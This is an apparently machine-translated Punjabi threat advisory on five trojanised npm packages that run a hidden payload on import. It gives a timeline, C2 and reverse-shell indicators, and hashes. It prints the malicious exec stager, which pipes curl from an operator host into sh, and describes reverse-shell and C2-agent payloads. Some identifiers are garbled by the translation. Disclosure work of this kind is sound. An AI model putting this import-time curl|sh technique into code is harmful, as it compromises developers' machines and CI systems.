TL; ਡਾ
ਇੱਕ ਸਿੰਗਲ npm ਆਪਰੇਟਰ ਪ੍ਰਕਾਸ਼ਿਤ ਪੰਜ ਟ੍ਰੋਜਨਾਈਜ਼ਡ ਪੈਕੇਜ ਤਿੰਨ ਦਿਨਾਂ ਵਿੱਚ ਦੋ ਦੌਰਾਂ ਵਿੱਚ। ਪੈਕੇਜ ਛੋਟੇ ਟਰਮੀਨਲ-ਰੰਗ, ਲਾਗਰ, ਅਤੇ ਪੋਸਟਗ੍ਰੇਸ-ਕਲਾਇੰਟ ਉਪਯੋਗਤਾਵਾਂ ਦੇ ਰੂਪ ਵਿੱਚ ਪੇਸ਼ ਕਰਦੇ ਹਨ। ਖਤਰਨਾਕ ਕੋਡ ਚੱਲਦਾ ਹੈ ਜਿਸ ਪਲ ਪੈਕੇਜ ਆਯਾਤ ਕੀਤਾ ਜਾਂਦਾ ਹੈ — ਫੜਨ ਲਈ ਕੋਈ ਇੰਸਟਾਲ ਸਕ੍ਰਿਪਟ ਨਹੀਂ ਹੈ।
ਪਹਿਲਾ ਦੌਰ (neon-terminal, neon-postgres, ne-logger) 2026-07-05 ਨੂੰ 14:14 UTC ਵਜੇ ਪ੍ਰਕਾਸ਼ਿਤ ਨਹੀਂ ਕੀਤਾ ਗਿਆ ਸੀ। ਚੁਹੱਤਰ ਮਿੰਟ ਬਾਅਦ ਉਸੇ ਖਾਤੇ ਨੇ ਉਹੀ ਟ੍ਰੋਜਨ ਨੂੰ ਨਵੇਂ ਨਾਵਾਂ ਹੇਠ ਦੁਬਾਰਾ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤਾ (agn-terminal, agn-logger) — ਅਤੇ ਇਸ ਵੱਲ ਇਸ਼ਾਰਾ ਕੀਤਾ ਉਹੀ ਕਮਾਂਡ-ਐਂਡ-ਕੰਟਰੋਲ ਐਂਡਪੁਆਇੰਟ ਇਹ ਪਹਿਲਾਂ ਵਰਤਿਆ ਸੀ: tracker.bvgroup.co.
ਉਹ C2 ਹੋਸਟ ਇੱਕ ਅਜਿਹਾ ਸੂਚਕ ਹੈ ਜੋ ਨਾਮ ਬਦਲਣ ਤੋਂ ਬਾਅਦ ਵੀ ਬਚਿਆ ਰਹਿੰਦਾ ਹੈ, ਅਤੇ ਇੱਕ ਡਿਫੈਂਡਰ ਲਈ ਖੋਜ ਕਰਨ ਲਈ ਸਭ ਤੋਂ ਤੇਜ਼ ਚੀਜ਼ ਹੈ। ਗੰਭੀਰਤਾ: ਉੱਚ. ਈਕੋਸਿਸਟਮ: npm. ਦੂਜੇ ਦੌਰ ਦੇ ਪੈਕੇਜ ਲਿਖਣ ਦੇ ਸਮੇਂ ਵੀ ਲਾਈਵ ਸਨ।
ਹਮਲਾ: ਇਹ ਕਿਵੇਂ ਕੰਮ ਕਰਦਾ ਹੈ
ਪੈਕੇਜ ਫੰਕਸ਼ਨਲ ਡੀਕੋਏ ਹਨ। ਖੋਲ੍ਹੋ ਐਗਨ-ਟਰਮੀਨਲ ਅਤੇ ਤੁਹਾਨੂੰ ਇੱਕ ਪੂਰਾ, ਕੰਮ ਕਰਨ ਵਾਲਾ ANSI ਰੰਗ ਸਹਾਇਕ ਮਿਲੇਗਾ — ਕੋਡ, ਰੰਗ ਦਾ ਸਮਰਥਨ ਕਰਦਾ ਹੈ, ਰੰਗ, ਚਿੱਤਰਕਾਰੀ — ਕਿਸਮਾਂ ਅਤੇ ਇੱਕ README ਦੇ ਨਾਲ। ਉਪਯੋਗਤਾ ਕੋਡ ਕੰਮ ਕਰਦਾ ਹੈ। ਉਪਯੋਗੀ ਕੋਡ ਦੇ ਉੱਪਰ, ਐਂਟਰੀ ਮੋਡੀਊਲ ਦੇ ਸਿਖਰ 'ਤੇ ਬੋਲਟ ਕੀਤਾ ਗਿਆ ਹੈ, ਕੁਝ ਲਾਈਨਾਂ ਬੈਠਦੀਆਂ ਹਨ ਜੋ ਆਯਾਤ 'ਤੇ ਚਲਦੀਆਂ ਹਨ।
// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";
const child = exec(
"curl -fsSL https://remote.agyn.org/remote.sh | " +
"TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
{}, (error, stdout, stderr) => {},
);
ਤਿੰਨ ਚੀਜ਼ਾਂ ਇਸਨੂੰ ਪ੍ਰਭਾਵਸ਼ਾਲੀ ਬਣਾਉਂਦੀਆਂ ਹਨ।
- ਇਹ ਇੰਪੋਰਟ 'ਤੇ ਕੰਮ ਕਰਦਾ ਹੈ, ਇੰਸਟਾਲ 'ਤੇ ਨਹੀਂ। ਪੈਕੇਜ ਨਹੀਂ ਐਲਾਨਦਾ ਹੈ ਪਹਿਲਾਂ ਤੋਂ ਇੰਸਟਾਲ ਕਰੋ or ਪੋਸਟਇੰਸਟਾਲ ਹੁੱਕ — ਆਮ ਜਗ੍ਹਾ ਜਿੱਥੇ ਸਕੈਨਰ ਅਤੇ ਸਮੀਖਿਅਕ ਦੇਖਦੇ ਹਨ। exec ਕਾਲ ਮੋਡੀਊਲ-ਪੱਧਰ ਦਾ ਕੋਡ ਹੈ। ਇਹ ਪਹਿਲੀ ਵਾਰ ਚੱਲਦਾ ਹੈ ਜਦੋਂ ਕੁਝ ਵੀ ਕਰਦਾ ਹੈ ਲੋੜ (“ਐਗਨ-ਟਰਮੀਨਲ”) or "ਐਗਨ-ਟਰਮੀਨਲ" ਆਯਾਤ ਕਰੋ, ਡਿਵੈਲਪਰ ਦੀ ਮਸ਼ੀਨ 'ਤੇ ਜਾਂ CI ਦੇ ਅੰਦਰ। ਦੋਵੇਂ ESM ਐਂਟਰੀ (src/index.js) ਅਤੇ CommonJS ਐਂਟਰੀ (ਸੀਜੇਐਸ/ਐਸਆਰਸੀ/ਇੰਡੈਕਸ.ਜੇਐਸ) ਇੱਕੋ ਜਿਹੇ ਪੇਲੋਡ ਨੂੰ ਲੈ ਕੇ ਜਾਂਦੇ ਹਨ, ਇਸ ਲਈ ਦੋਵੇਂ ਮਾਡਿਊਲ ਸਿਸਟਮ ਕਵਰ ਕੀਤੇ ਜਾਂਦੇ ਹਨ।
- ਅਸਲ ਪੇਲੋਡ ਪੈਕੇਜ ਤੋਂ ਬਾਹਰ ਰਹਿੰਦਾ ਹੈ। ਪੈਕੇਜ ਸਿਰਫ਼ ਇੱਕ-ਲਾਈਨ ਸਟੇਜਰ ਭੇਜਦਾ ਹੈ: ਫੈਚ remote.agyn.org/remote.sh` ਅਤੇ ਇਸਨੂੰ ਪਾਈਪ ਕਰੋ sh`। ਬੇਨਤੀ ਸਮੇਂ ਉਸ URL ਤੋਂ ਜੋ ਵੀ ਆਪਰੇਟਰ ਸੇਵਾ ਕਰਦਾ ਹੈ ਉਹੀ ਚੱਲਦਾ ਹੈ। C2 ਐਂਡਪੁਆਇੰਟ ਡਾਊਨਲੋਡ ਕੀਤੀ ਸਕ੍ਰਿਪਟ ਨੂੰ ਇਸ ਰਾਹੀਂ ਦਿੱਤਾ ਜਾਂਦਾ ਹੈ ਟਰੈਕਰ_ਰੇਮੋਟ_ENDਪੁਆਇੰਟ ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲ, ਇਸ ਲਈ ਪੜਾਅ-ਦੋ ਸਕ੍ਰਿਪਟ ਘਰ ਨੂੰ ਫ਼ੋਨ ਕਰਦੀ ਹੈ ਟਰੈਕਰ.ਬੀਵੀਗਰੁੱਪ.ਕੋ.
- ਇੱਕ ਕੈਰੀਅਰ ਪੈਕੇਜ ਧਮਾਕੇ ਦੇ ਘੇਰੇ ਨੂੰ ਵਧਾਉਂਦਾ ਹੈ। ਐਗਨ-ਲੌਗਰ ਇੱਕ ਦੂਜਾ ਡੀਕੋਇ ਹੈ - ਇੱਕ "ਛੋਟਾ ਗਲੋਬਲ ਲਾਗਰ"। ਇਸਦਾ ਆਪਣਾ ਕੋਈ ਪੇਲੋਡ ਨਹੀਂ ਹੈ। ਇਸਦਾ ਐਂਟਰੀ ਮੋਡੀਊਲ ਇੱਕ ਢੁਕਵਾਂ ਕੰਮ ਕਰਦਾ ਹੈ:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');
ਇਹ ਐਲਾਨ ਕਰਦਾ ਹੈ ਐਗਨ-ਟਰਮੀਨਲ ਇੱਕ ਨਿਰਭਰਤਾ ਦੇ ਤੌਰ 'ਤੇ ਅਤੇ ਇਸਨੂੰ ਆਯਾਤ ਕਰਦਾ ਹੈ। ਲਾਗਰ ਨੂੰ ਸਥਾਪਿਤ ਕਰਨਾ ਜਾਂ ਆਯਾਤ ਕਰਨਾ ਟਰਮੀਨਲ ਪੈਕੇਜ ਨੂੰ ਸੰਕਰਮਿਤ ਰੂਪ ਵਿੱਚ ਖਿੱਚਦਾ ਅਤੇ ਚਾਲੂ ਕਰਦਾ ਹੈ। ਇੱਕ ਪ੍ਰੋਜੈਕਟ ਜੋ ਕਦੇ ਵੀ ਟ੍ਰੋਜਨ ਦਾ ਸਿੱਧਾ ਨਾਮ ਨਹੀਂ ਲੈਂਦਾ, ਫਿਰ ਵੀ ਇਸਨੂੰ ਲਾਗਰ ਰਾਹੀਂ ਚਲਾ ਸਕਦਾ ਹੈ।
ਇੱਥੇ ਨਵਾਂ ਕੀ ਹੈ?
ਪਹਿਲੇ ਦੌਰ ਵਿੱਚ ਰਿਮੋਟ ਸਟੇਜਰ ਦੀ ਵਰਤੋਂ ਨਹੀਂ ਕੀਤੀ ਗਈ। ਇਸਨੇ ਪੇਲੋਡ ਨੂੰ ਇਨਲਾਈਨ ਭੇਜਿਆ ਅਤੇ ਇਸਨੂੰ ਵਰਜਨ ਦਰ ਵਰਜਨ ਵਧਾਇਆ - ਇੱਕ ਰੀਲੀਜ਼ ਵਿੱਚ ਇੱਕ ਬੈਸ਼ ਰਿਵਰਸ ਸ਼ੈੱਲ, ਇੱਕ ਨੈੱਟ.ਸਾਕਟ ਅਗਲੇ ਵਿੱਚ ਉਲਟਾ ਸ਼ੈੱਲ, a ਗਿੱਟ ਐਡ/commit/ਧੱਕਾ ਕਿਸੇ ਹੋਰ ਵਿੱਚ ਪੀੜਤ ਦੀ ਕਾਰਜਸ਼ੀਲ ਡਾਇਰੈਕਟਰੀ, ਅਤੇ ਅੰਤ ਵਿੱਚ ਇੱਕ ਪੂਰਾ HTTP ਕਮਾਂਡ-ਐਂਡ-ਕੰਟਰੋਲ ਏਜੰਟ ਨਿਓਨ-ਟਰਮੀਨਲ 0.9.0 ਜਿਸਨੇ ਹੋਸਟ ਨੂੰ ਰਜਿਸਟਰ ਕੀਤਾ, ਕਾਰਜਾਂ ਲਈ ਪੋਲ ਕੀਤਾ, ਉਹਨਾਂ ਨੂੰ ਚਲਾਇਆ exec(), ਅਤੇ ਬੇਸ64-ਏਨਕੋਡਡ ਆਉਟਪੁੱਟ ਨੂੰ ਵਾਪਸ ਸਟ੍ਰੀਮ ਕੀਤਾ। ਦੂਜਾ ਦੌਰ ਉਸ ਸਭ ਨੂੰ ਇੱਕ ਸਿੰਗਲ ਵਿੱਚ ਸਮੇਟ ਦਿੰਦਾ ਹੈ ਕਰਲ | ਸ਼, ਦੂਜੇ ਪੜਾਅ ਨੂੰ ਰਜਿਸਟਰੀ ਤੋਂ ਪੂਰੀ ਤਰ੍ਹਾਂ ਬਾਹਰ ਕੱਢਣਾ। ਉਹੀ ਆਪਰੇਟਰ, ਸ਼ਾਂਤ ਪੈਕੇਜ, ਵਧੇਰੇ ਲਚਕਦਾਰ ਪੇਲੋਡ - ਅਤੇ, ਆਲੋਚਨਾਤਮਕ ਤੌਰ 'ਤੇ, ਪਹਿਲਾਂ ਵਾਂਗ ਹੀ C2।
ਟਾਈਮਲਾਈਨ
| ਮਿਤੀ (UTC) | ਘਟਨਾ |
|---|---|
| 2026-07-03 07:03 | ਪਹਿਲਾ ਦੌਰ ਪ੍ਰਕਾਸ਼ਿਤ: neon-terminal (0.1.0 ਸਾਫ਼, ਫਿਰ 0.2.0–0.9.0 ਖਤਰਨਾਕ), neon-postgres 3.5.2, ne-logger 0.7.0 |
| 2026-07-03 07:05 | neon-terminal ਰੀਅਲ-ਟਾਈਮ ਸਕੈਨਿੰਗ ਵਿੱਚ ਫਲੈਗ ਕੀਤਾ ਗਿਆ |
| 2026-07-04 | ਪੁਸ਼ਟੀ ਕੀਤੀ ਗਈ ਖਤਰਨਾਕ; ਦੋ ਭੈਣ-ਭਰਾ ਪੈਕੇਜਾਂ ਨਾਲ ਸਬੰਧ ਸਾਹਮਣੇ ਆਉਂਦੇ ਹਨ; ਪਹਿਲੀਆਂ ਬਰਖਾਸਤਗੀ ਕੋਸ਼ਿਸ਼ਾਂ ਦਾਇਰ ਕੀਤੀਆਂ ਗਈਆਂ |
| 2026-07-05 14:14 | ਪਹਿਲਾ ਦੌਰ ਅਣਪ੍ਰਕਾਸ਼ਿਤ — ਸਾਰੇ ਅੱਠ neon-terminal ਵਰਜਨ ਪਲੱਸ ਭੈਣ-ਭਰਾ ਹਟਾਏ ਗਏ |
| 2026-07-05 15:28 | agn-terminal 0.1.0 ਪ੍ਰਕਾਸ਼ਿਤ |
| 2026-07-05 15:29 | agn-logger 0.1.0 ਪ੍ਰਕਾਸ਼ਿਤ — ਨਵੇਂ ਟਰਮੀਨਲ ਪੈਕੇਜ ਲਈ ਕੈਰੀਅਰ |
| 2026-07-05 (ਚੱਲ ਰਿਹਾ ਹੈ) | ਲਿਖਣ ਦੇ ਸਮੇਂ ਦੂਜੇ ਦੌਰ ਦੇ ਪੈਕੇਜ ਲਾਈਵ ਹਨ |
ਦੋਵੇਂ ਦੌਰ ਤਿੰਨ ਦਿਨਾਂ ਦੇ ਅੰਤਰਾਲ 'ਤੇ ਹਨ, ਅਤੇ ਹਟਾਉਣ ਅਤੇ ਦੁਬਾਰਾ ਲਾਂਚ ਕਰਨ ਵਿਚਕਾਰ ਅੰਤਰਾਲ 74 ਮਿੰਟ ਸੀ। ਮੁਹਿੰਮ ਖੁੱਲ੍ਹੀ ਹੈ: ਅਗਨ-* ਜਦੋਂ ਇਹ ਲਿਖਿਆ ਗਿਆ ਸੀ, ਉਦੋਂ ਪੈਕੇਜ ਹਟਾਏ ਨਹੀਂ ਗਏ ਸਨ।
ਸਮਝੌਤੇ ਦੇ ਸੰਕੇਤ
ਪੈਕੇਜ ਨਾਵਾਂ ਲਈ ਲੌਕਫਾਈਲਾਂ ਅਤੇ ਨਿਰਭਰਤਾ ਟ੍ਰੀ ਖੋਜੋ। ਪ੍ਰੌਕਸੀ, DNS, ਅਤੇ ਖੋਜੋ ਈ.ਡੀ.ਆਰ. ਨੈੱਟਵਰਕ ਐਂਡਪੁਆਇੰਟਸ ਲਈ ਲੌਗ। C2 ਹੋਸਟ ਟਰੈਕਰ.ਬੀਵੀਗਰੁੱਪ.ਕੋ ਦੋਵੇਂ ਦੌਰਾਂ ਵਿੱਚ ਫੈਲਿਆ ਹੋਇਆ ਹੈ ਅਤੇ ਸਭ ਤੋਂ ਵੱਧ-ਮੁੱਲ ਵਾਲਾ ਸਿੰਗਲ ਸੂਚਕ ਹੈ।
ਪੈਕੇਜ
| ਪੈਕੇਜ | ਵਰਜਨ | ਭੂਮਿਕਾ | ਸਥਿਤੀ |
|---|---|---|---|
neon-terminal | 0.2.0–0.9.0 | ਟ੍ਰੋਜਨ (ਇਨਲਾਈਨ ਪੇਲੋਡ → HTTP C2) | ਪ੍ਰਕਾਸ਼ਤ |
neon-postgres | 3.5.2 | ਟ੍ਰੋਜਨ (ਪੇਲੋਡ ਇਨ src/errors.js) | ਪ੍ਰਕਾਸ਼ਤ |
ne-logger | 0.7.0 | ਕੈਰੀਅਰ (ਇਸ 'ਤੇ ਨਿਰਭਰ ਕਰਦਾ ਹੈ neon-terminal) | ਪ੍ਰਕਾਸ਼ਤ |
agn-terminal | 0.1.0 | ਟ੍ਰੋਜਨ (curl | sh ਸਟੇਜਰ) | ਸਿੱਧਾ |
agn-logger | 0.1.0 | ਕੈਰੀਅਰ (ਇਸ 'ਤੇ ਨਿਰਭਰ ਕਰਦਾ ਹੈ agn-terminal) | ਸਿੱਧਾ |
ਨਿਓਨ-ਟਰਮੀਨਲ 0.1.0 ਇੱਕ ਸਾਫ਼ ਸੀਡ ਸੀ — ਇੱਕ ਵਰਕਿੰਗ ਕਲਰ ਲਾਇਬ੍ਰੇਰੀ ਜਿਸ ਵਿੱਚ ਕੋਈ ਪੇਲੋਡ ਨਹੀਂ ਸੀ — ਖਤਰਨਾਕ ਸੰਸਕਰਣਾਂ ਦੇ ਆਉਣ ਤੋਂ ਪਹਿਲਾਂ ਪੈਕੇਜ ਸਥਾਪਤ ਕਰਨ ਲਈ ਪ੍ਰਕਾਸ਼ਿਤ ਕੀਤਾ ਗਿਆ ਸੀ।
ਨੈੱਟਵਰਕ
| ਸੂਚਕ | ਪਰਸੰਗ |
|---|---|
tracker.bvgroup.co/remote/… | HTTP C2, ਦੋਵੇਂ ਦੌਰ (ਦੂਜੇ ਦੌਰ ਦਾ ਟੋਕਨ) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J) |
remote.agyn.org/remote.sh | ਰਾਊਂਡ-ਟੂ ਸਟੇਜ-ਵਨ ਲੋਡਰ |
reverse.bvgroup.co:443 | ਗੋਲ-ਇੱਕ ਰਿਵਰਸ-ਸ਼ੈੱਲ ਐਂਡਪੁਆਇੰਟ (neon-terminal 0.6.0) |
6.tcp.eu.ngrok.io:28754 | ਗੋਲ-ਇੱਕ ਰਿਵਰਸ ਸ਼ੈੱਲ (neon-terminal 0.3.0) |
2.tcp.eu.ngrok.io:25852 | ਗੋਲ-ਇੱਕ ਰਿਵਰਸ ਸ਼ੈੱਲ (neon-terminal 0.4.0) |
bvgroup.co, agyn.org, agyn.io | ਆਪਰੇਟਰ-ਨਿਯੰਤਰਿਤ ਡੋਮੇਨ |
ਰਵੱਈਆ
- ਮਾਡਿਊਲ-ਪੱਧਰ ਚਾਈਲਡ_ਪ੍ਰੋਸੈਸ.ਐਗਜ਼ੀਕ ਇੱਕ ਉਪਯੋਗਤਾ ਪੈਕੇਜ ਦੀ ਐਂਟਰੀ ਫਾਈਲ ਦੇ ਸਿਖਰ 'ਤੇ, ਦੋਵਾਂ ਵਿੱਚ src/index.js (ESM) ਅਤੇ ਸੀਜੇਐਸ/ਐਸਆਰਸੀ/ਇੰਡੈਕਸ.ਜੇਐਸ (ਸੀਜੇਐਸ)।
- A ਕਰਲ -fsSL … | ਸ਼ C2 ਵਾਲਾ ਇੱਕ-ਲਾਈਨਰ ਇੱਕ ਵਿੱਚੋਂ ਲੰਘਿਆ ਟਰੈਕਰ_ਰੇਮੋਟ_ENDਪੁਆਇੰਟ ਵਾਤਾਵਰਣ ਵੇਰੀਏਬਲ।
- ਇੱਕ ਦੂਜਾ "ਉਪਯੋਗਤਾ" ਪੈਕੇਜ ਜੋ ਪਹਿਲੇ ਨੂੰ ਨਿਰਭਰਤਾ ਵਜੋਂ ਘੋਸ਼ਿਤ ਕਰਦਾ ਹੈ ਅਤੇ ਇਸਨੂੰ ਆਯਾਤ ਕਰਦਾ ਹੈ, ਇਸਦਾ ਆਪਣਾ ਕੋਈ ਪੇਲੋਡ ਨਹੀਂ ਹੈ।
- ਬਚਿਆ ਹੋਇਆ // ਨਿਓਨ-ਟਰਮੀਨਲ ਦੇ ਸਿਖਰ 'ਤੇ ਟਿੱਪਣੀ ਕਰੋ ਐਗਨ-ਟਰਮੀਨਲ — ਇੱਕ ਕਾਪੀ-ਪੇਸਟ ਆਰਟੀਫੈਕਟ ਜੋ ਰੀਬ੍ਰਾਂਡ ਨੂੰ ਅਸਲੀ ਨਾਲ ਜੋੜਦਾ ਹੈ।
ਫਾਈਲ ਹੈਸ਼ (SHA-256, ਦੂਜਾ ਦੌਰ)
- ਐਗਨ-ਟਰਮੀਨਲ src/index.js - 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
- ਐਗਨ-ਟਰਮੀਨਲ ਸੀਜੇਐਸ/ਐਸਆਰਸੀ/ਇੰਡੈਕਸ.ਜੇਐਸ - b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
- ਐਗਨ-ਲੌਗਰ src/index.js - 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19
ਵਿਸ਼ੇਸ਼ਤਾ ਅਤੇ ਦੇਖਿਆ ਗਿਆ ਵਿਵਹਾਰ
ਹਰੇਕ ਪੈਕੇਜ ਇੱਕ npm ਖਾਤੇ ਵਿੱਚ ਜਾਂਦਾ ਹੈ, ਵਿਟਾਲੀ-ਐਗਿਨ, ਗੈਰ-ਤਸਦੀਕਸ਼ੁਦਾ ਈਮੇਲ ਦੇ ਅਧੀਨ ਪ੍ਰਕਾਸ਼ਨ ਕਰਨਾ ਵੱਲੋਂ vitalii@agyn.io. ਖਾਤੇ ਦਾ ਆਪਣਾ ਰਜਿਸਟਰੀ ਮੈਟਾਡੇਟਾ ਤਿੰਨੋਂ ਰਾਊਂਡ-ਵਨ ਪੈਕੇਜਾਂ ਨੂੰ ਸੂਚੀਬੱਧ ਕਰਦਾ ਹੈ ਜਿਵੇਂ ਕਿ ਇਸ ਦੁਆਰਾ ਸੰਭਾਲਿਆ ਜਾਂਦਾ ਹੈ। ਬੁਨਿਆਦੀ ਢਾਂਚਾ ਰਾਊਂਡਾਂ ਨੂੰ ਆਪਸ ਵਿੱਚ ਜੋੜਦਾ ਹੈ: ਡੋਮੇਨ agyn.org ਵੱਲੋਂ ਪ੍ਰਕਾਸ਼ਕ ਨਾਲ ਮੇਲ ਖਾਂਦਾ ਹੈ agyn.io ਵੱਲੋਂ ਹੋਰ ਈਮੇਲ ਡੋਮੇਨ, ਅਤੇ C2 ਹੋਸਟ ਟਰੈਕਰ.ਬੀਵੀਗਰੁੱਪ.ਕੋ ਦੋਵਾਂ ਵਿੱਚ ਦਿਖਾਈ ਦਿੰਦਾ ਹੈ ਨਿਓਨ-ਟਰਮੀਨਲ 0.9.0 ਅਤੇ ਐਗਨ-ਟਰਮੀਨਲ 0.1.0 — ਉਹੀ ਕੁਲੈਕਟਰ ਮਾਰਗ, ਨਾਮ ਬਦਲਣ ਤੋਂ ਬਾਅਦ ਸ਼ਬਦ-ਜੋੜ ਵਿੱਚ ਦੁਬਾਰਾ ਵਰਤਿਆ ਗਿਆ।
ਅਸੀਂ ਵਰਣਨ ਕਰਦੇ ਹਾਂ ਕਿ ਕਲਾਕ੍ਰਿਤੀਆਂ ਕੀ ਦਿਖਾਉਂਦੀਆਂ ਹਨ ਅਤੇ ਇੱਥੇ ਹੀ ਰੁਕਦੇ ਹਾਂ। ਪ੍ਰਕਾਸ਼ਕ ਦਾ ਦੱਸਿਆ ਗਿਆ ਈਮੇਲ ਹੈ ਵੱਲੋਂ vitalii@agyn.io; ਅਸੀਂ ਉਸ ਪਤੇ ਦੀ ਮਾਲਕੀ ਦੀ ਪੁਸ਼ਟੀ ਨਹੀਂ ਕੀਤੀ ਹੈ, ਅਤੇ ਅਸੀਂ ਖਾਤੇ ਨੂੰ ਕਿਸੇ ਨਾਮੀ ਵਿਅਕਤੀ ਜਾਂ ਸਮੂਹ ਨਾਲ ਜੋੜਦੇ ਨਹੀਂ ਹਾਂ। ਦੋ ਪੈਕੇਜ ਪਰਿਵਾਰਾਂ ਵਿੱਚ ਇੱਕ C2 ਐਂਡਪੁਆਇੰਟ ਦੀ ਮੁੜ ਵਰਤੋਂ ਇੱਕ ਮਜ਼ਬੂਤ ਸਮਾਨ-ਆਪਰੇਟਰ ਸਿਗਨਲ ਹੈ, ਪਛਾਣ ਨਹੀਂ।
ਇੱਕ ਦੌਰ ਦੇ ਪੈਕੇਜ ਬ੍ਰਾਂਡ ਦੇ ਨਾਲ ਲੱਗਦੇ ਹਿੱਸੇ 'ਤੇ ਨਿਰਭਰ ਸਨ। ਨਿਓਨ-ਪੋਸਟਗ੍ਰੇਸ ਪੋਰਸੇਜਰ ਦੇ ਵਿਆਪਕ ਤੌਰ 'ਤੇ ਵਰਤੇ ਜਾਣ ਵਾਲੇ ਦਾ ਪੂਰਾ ਕਲੋਨ ਸੀ ਪੋਸਟਗ੍ਰੇਸ.ਜੇਐਸ ਕਲਾਇੰਟ, ਟੈਗਲਾਈਨ ਅਤੇ ਸਭ ਕੁਝ, ਪੇਲੋਡ ਦੇ ਨਾਲ src/errors.js ਇਸ ਲਈ ਇੱਕ ਰੁਟੀਨ ਆਯਾਤ ਮਾਰਗ ਇਸ ਤੱਕ ਪਹੁੰਚੇਗਾ - ਅਤੇ ਨੀਓਨ- ਪ੍ਰੀਫਿਕਸ ਨਿਓਨ ਦੀ ਪਛਾਣਯੋਗਤਾ ਨੂੰ ਉਧਾਰ ਲੈਂਦਾ ਹੈ, ਸਰਵਰ ਰਹਿਤ ਪੋਸਟਗ੍ਰੇਸ ਪ੍ਰਦਾਤਾ। ਦੋ ਰਾਉਂਡ-ਦੋ ਨਾਵਾਂ ਨੇ ਨਕਲ ਨੂੰ ਛੱਡ ਦਿੱਤਾ ਅਤੇ ਆਮ ਹੋ ਗਏ (ਐਗਨ-ਟਰਮੀਨਲ, ਐਗਨ-ਲੌਗਰ), ਸੜੇ ਹੋਏ ਨਾਵਾਂ ਤੋਂ ਸਾਫ਼ ਬ੍ਰੇਕ ਲਈ ਟ੍ਰੇਡਿੰਗ ਬ੍ਰਾਂਡ ਪੁੱਲ।
ਪ੍ਰਭਾਵ, ਰੁਝਾਨ, ਅਤੇ ਡਿਫੈਂਡਰ ਮਾਰਗਦਰਸ਼ਨ
- ਕੌਣ ਬੇਨਕਾਬ ਹੋਇਆ ਹੈ। ਕੋਈ ਵੀ ਜੋ ਇਹਨਾਂ ਪੈਕੇਜਾਂ ਵਿੱਚੋਂ ਇੱਕ ਨੂੰ, ਸਿੱਧੇ ਜਾਂ ਕੈਰੀਅਰ ਰਾਹੀਂ, ਯੂਨਿਕਸ ਵਰਗੇ ਹੋਸਟ 'ਤੇ ਸਥਾਪਤ ਅਤੇ ਆਯਾਤ ਕਰਦਾ ਹੈ। ਸਟੇਜਰ ਵਰਤਦਾ ਹੈ curl ਅਤੇ sh; ਗੋਲ-ਇੱਕ ਸ਼ੈੱਲ ਵਰਤਦੇ ਹਨ bash ਅਤੇ /dev/tcp. ਕਿਉਂਕਿ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਆਯਾਤ 'ਤੇ ਹੁੰਦਾ ਹੈ, ਇੱਕ ਬਿਲਡ ਸਰਵਰ ਜੋ ਨਿਰਭਰਤਾ ਨੂੰ ਸਥਾਪਿਤ ਕਰਦਾ ਹੈ ਅਤੇ ਇਸਨੂੰ ਛੂਹਣ ਵਾਲੇ ਕਿਸੇ ਵੀ ਕੋਡ ਨੂੰ ਚਲਾਉਂਦਾ ਹੈ, ਕਾਫ਼ੀ ਹੈ — ਇੰਸਟਾਲ ਤੋਂ ਬਾਅਦ ਦੇ ਕਿਸੇ ਕਦਮ ਦੀ ਲੋੜ ਨਹੀਂ ਹੈ। ਇੱਕ ਡਿਵੈਲਪਰ ਵਰਕਸਟੇਸ਼ਨ ਜਾਂ CI ਰਨਰ 'ਤੇ, ਡਾਊਨਲੋਡ ਕੀਤਾ ਪੜਾਅ ਦੋ ਉਪਭੋਗਤਾ ਦੇ ਵਿਸ਼ੇਸ਼ ਅਧਿਕਾਰਾਂ ਅਤੇ ਪੂਰੀ ਨੈੱਟਵਰਕ ਪਹੁੰਚ ਨਾਲ ਚੱਲਦਾ ਹੈ।
- ਇੰਪੋਰਟ-ਟਾਈਮ ਐਗਜ਼ੀਕਿਊਸ਼ਨ ਕਿਉਂ ਮਾਇਨੇ ਰੱਖਦਾ ਹੈ। ਸਪਲਾਈ-ਚੇਨ ਡਿਫੈਂਸ ਨੇ ਇੰਸਟਾਲ ਸਕ੍ਰਿਪਟਾਂ 'ਤੇ ਧਿਆਨ ਕੇਂਦਰਿਤ ਕੀਤਾ ਹੈ, ਅਤੇ ਚੰਗੇ ਕਾਰਨ ਕਰਕੇ - ਪੋਸਟਇੰਸਟਾਲ ਕਲਾਸਿਕ npm ਪੈਰ ਹੈ। ਇਹ ਮੁਹਿੰਮ ਇਸਨੂੰ ਪੂਰੀ ਤਰ੍ਹਾਂ ਛੱਡ ਦਿੰਦੀ ਹੈ। ਫਲੈਗ ਕਰਨ ਲਈ ਕੋਈ ਇੰਸਟਾਲ ਹੁੱਕ ਨਹੀਂ ਹੈ। ਖਤਰਨਾਕ ਕੋਡ ਇੱਕ ਆਮ ਮੋਡੀਊਲ ਸ਼ੁਰੂਆਤੀਕਰਨ ਹੈ, ਜੋ ਕਿ ਲੋਡ ਹੋਣ 'ਤੇ ਇੱਕ ਲੁੱਕਅੱਪ ਟੇਬਲ ਦੀ ਕੰਪਿਊਟਿੰਗ ਕਰਨ ਵਾਲੇ ਪੈਕੇਜ ਤੋਂ ਇੱਕ ਨਜ਼ਰ ਵਿੱਚ ਵੱਖਰਾ ਨਹੀਂ ਕੀਤਾ ਜਾ ਸਕਦਾ। ਟੂਲਿੰਗ ਜੋ ਸਿਰਫ package.json ਵਿੱਚ ਸਕ੍ਰਿਪਟਾਂ ਦੀ ਜਾਂਚ ਕਰਦੀ ਹੈ, ਕੁਝ ਵੀ ਨਹੀਂ ਦੇਖਦੀ।
